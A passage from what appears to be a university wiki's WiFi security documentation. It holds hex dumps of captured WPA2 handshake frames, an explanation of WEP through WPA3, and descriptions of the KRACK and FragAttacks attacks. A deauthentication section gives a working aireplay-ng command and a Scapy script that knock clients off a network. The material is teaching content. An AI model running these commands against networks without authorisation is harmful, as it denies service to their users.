  0x0040:  98da c46e 00fc 98da c46e 00fc 0000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0200 8a00  ..........._....&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 01ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00b0:  0000 0000 0000 0000 0000 0041 e6a6 5d    ...........A..]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=530px&amp;gt;&lt;br /&gt;
image:4WH_2.png|4WHS (Message 2 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  1a76 aa01 0000 0000 1002 7609 8004 eca5  .v........v.....&lt;br /&gt;
  0x0020:  0001 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 4355 fdb7 8801 3a01 98da c46e 00fc  ..CU....:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 0000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0075 0201 0a00  ...........u....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 01bc 67eb 5bfb 4355  ..........g.[.CU&lt;br /&gt;
  0x0070:  f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8  ......`.a...tQ..&lt;br /&gt;
  0x0080:  841c 7d17 dde7 0c47 3300 0000 0000 0000  ..}....G3.......&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0051 17b2 89fc 6428  .........Q....d(&lt;br /&gt;
  0x00b0:  2564 ab92 3571 a67f af00 1630 1401 0000  %d..5q.....0....&lt;br /&gt;
  0x00c0:  0fac 0401 0000 0fac 0401 0000 0fac 0200  ................&lt;br /&gt;
  0x00d0:  0010 afc4 e7                             .....&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_3.png|4WHS (Message 3 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  6f80 aa01 0000 0000 1002 7609 8004 d2a5  o.........v.....&lt;br /&gt;
  0x0020:  0013 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 1000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0097 0213 ca00  ................&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 02ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0100 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 00e4 ef65 1d4f f0c1  ...........e.O..&lt;br /&gt;
  0x00b0:  62be d858 a5ed dab9 bf00 38de c04c 2c9d  b..X......8..L,.&lt;br /&gt;
  0x00c0:  9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4  ...s...&#039;Q.......&lt;br /&gt;
  0x00d0:  8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6  .[..s:..l..R....&lt;br /&gt;
  0x00e0:  4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3  Jz/....)....U.s.&lt;br /&gt;
  0x00f0:  43f9 a8a8 bc98 d2                        C......&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_4.png|4WHS (Message 4 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  cc8d aa01 0000 0000 1002 7609 8004 eca5  ..........v.....&lt;br /&gt;
  0x0020:  0003 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 0000 938d 8801 3a01 98da c46e 00fc  ........:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 1000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0203 0a00  ..........._....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 0200 0000 0000 0000  ................&lt;br /&gt;
  0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0009 4d26 1f94 47b2  ..........M&amp;amp;..G.&lt;br /&gt;
  0x00b0:  8fcb 0e44 a9b7 3cea 4500 002c f10f 7c    ...D..&amp;lt;.E..,..|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
&lt;br /&gt;
Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using &amp;lt;code&amp;gt;aircrack-ng&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt;. Alternatively use &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt; to manually execute a deauthentication attack, as shown below.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;# Configuration&lt;br /&gt;
station = &amp;quot;ff:ff:ff:ff:ff:ff&amp;quot;&lt;br /&gt;
bssid = &amp;quot;00:00:00:00:00:00&amp;quot;&lt;br /&gt;
interface = &amp;quot;wlan0mon&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Craft and send 802.11 frame&lt;br /&gt;
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)&lt;br /&gt;
packet = RadioTap()/dot11/Dot11Deauth(reason=7)&lt;br /&gt;
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;$STA&amp;lt;/code&amp;gt; may be &amp;lt;code&amp;gt;ff:ff:ff:ff:ff:ff&amp;lt;/code&amp;gt;. MAC’s must be lowercase!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)&lt;br /&gt;
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)&lt;br /&gt;
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)&lt;br /&gt;
* DSTIKE Deauther Watch V1&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16788</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16788"/>
		<updated>2024-12-07T18:04:59Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* WPA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
;RC4 Algorithm&lt;br /&gt;
The Rivest Cipher 4 Algorithm is a 1987 by RSA Laboratories developed random generator or also called a key stream generator or stream cipher. RC4 works logically by XORing the key to the data. RC4 is used in WEP and early WPA for both, decryption and encryption data. &amp;lt;ref&amp;gt;Lashkari, Arash Habibi and Farnaz, Towhidi and Reheleh, Sadat Hosseini. Wired Equivalent Privacy (WEP). 2009 International Conference on Future Computer and Communication, pages 492–495, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot;&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;Known Weaknesses of WEP:&lt;br /&gt;
&lt;br /&gt;
*WEP has no Mechanism to prevent to manipulate data packets. &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot;&amp;gt;Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
*WEP can not prevent Replay Attacks &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot; /&amp;gt;&lt;br /&gt;
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer. &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot; /&amp;gt;&lt;br /&gt;
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key. &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot; /&amp;gt;&lt;br /&gt;
*WEP allows attackers to modify messages or data without knowing the encryption key. &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot; /&amp;gt;&lt;br /&gt;
*with WEP it is easy to manipulate Authentication messages. &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA offers two modes of security:&lt;br /&gt;
&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key):&lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA2 like WPA supports two modes of security. Like in WPA there are.&lt;br /&gt;
&lt;br /&gt;
*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)&lt;br /&gt;
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
*WPA2-Enterprise (802.1X)&lt;br /&gt;
This is the also called &amp;quot;corporate&amp;quot; security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
